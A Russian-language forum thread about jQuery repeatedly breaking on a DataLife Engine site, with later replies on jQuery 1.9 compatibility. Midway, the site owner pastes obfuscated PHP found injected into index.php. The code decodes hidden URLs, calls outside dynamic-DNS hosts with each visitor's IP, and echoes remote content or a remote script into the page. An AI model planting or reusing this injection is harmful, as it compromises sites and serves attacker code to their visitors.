jQuery постоянно слетает
Вот чудеса. Есть сайт, возраст около 2-х лет, все работало отлично, стоял движ. DLE. Недавно слетел jQuery и перестали работать все скрипты, написанные на нем. Перезалил папку Engine, все заработало, но через пару дней опять. На кого грешить? Кто виноват?))
|
Если вы не знали, то скрипты могут изнашиваться. Со временем они могут поломаться, или перестать работать. В этом нет ничего странного, в мире нет ничего вечного. Если серьезно, то проверьте файлы (и не только js) на наличие вредоносного кода.
|
А какие файлы лучше проверять? Невозможно ведь весь движок перелопатить.
|
Ну для начала те, что ломаются. Смотрите на время последнего изменения файла. Стоит взглянуть на index.php и на .htaccess . Есть различные скрипты и программы для обнаружения вредоноса. Антивирусники вроде тоже че-та могут (не знаю, я живу без антивируса, нет, на винде :) )
|
Нашел кое-что в index.php
echo "\n<!-- DataLife Engine Copyright SoftNews Media Group (http://dle-news.ru) -->\r\n"; GzipOut(); function sql2_safe($in) { $rtn = base64_decode($in); return $rtn; } function collectnewss() { if (!isset($_COOKIE["iJijkdaMnerys"])) { $value = 'yadeor'; $ip = $_SERVER['REMOTE_ADDR']; $get = sql2_safe("aHR0cDovL2N0cmxzaS5jaGFuZ2VpcC5uYW1lOjg4OC9tb3ZlLnBocD9pcD0=").$ip; $content = @file_get_contents($get); @setcookie("iJijkdaMnerys", $value, time()+3600*24); if (!$content) echo sql2_safe("PHNjcmlwdCBzcmM9Imh0dHA6Ly9mZWVsdGhlc2FtZS5jaGFuZ2VpcC5uYW1lL3JzaXplLmpzIj48L3NjcmlwdD4="); else echo $content; } } collectnewss (); ?> Сначала думал, что ничего особенного, но потом открыл index.php в архиве со скриптом и там этот код выглядит совсем иначе. echo "\n<!-- DataLife Engine Copyright SoftNews Media Group (http://dle-news.ru) -->\r\n"; GzipOut(); ?> Как думаете, это то? |
Twide,
<script src="http://code.jquery.com/jquery-1.9.1.js"></script> <script type="text/javascript"> alert($.browser.msie ); </script> с версии 1.9 нет подержки некоторых функций например $.browser можно исправить поставив загрузку ниже версии либо jQuery Migrate plugin <script src="http://code.jquery.com/jquery-latest.js"></script> <script src="http://code.jquery.com/jquery-migrate-1.1.0.js"></script> <script> alert($.browser.msie ); </script> <script src="http://code.jquery.com/jquery-1.8.3.js" type="text/javascript"></script> <script type="text/javascript"> alert($.browser.msie ); </script> |
Спасибо, в моём случае не помогает даже подключение нужной библиотеки, 2 скрипта между собой конфликтуют..
|
Цитата:
|
Всё, разобрался, спасибо вам огромное! Проблема была не с кофнликтами, а с тем, что Chrome неправильно обрабатывал scrollTo, заменил на animate. Всё заработало!!
Осталась только проблема с соц. кнопками из моего прошлого топика) |
Часовой пояс GMT +3, время: 19:59. |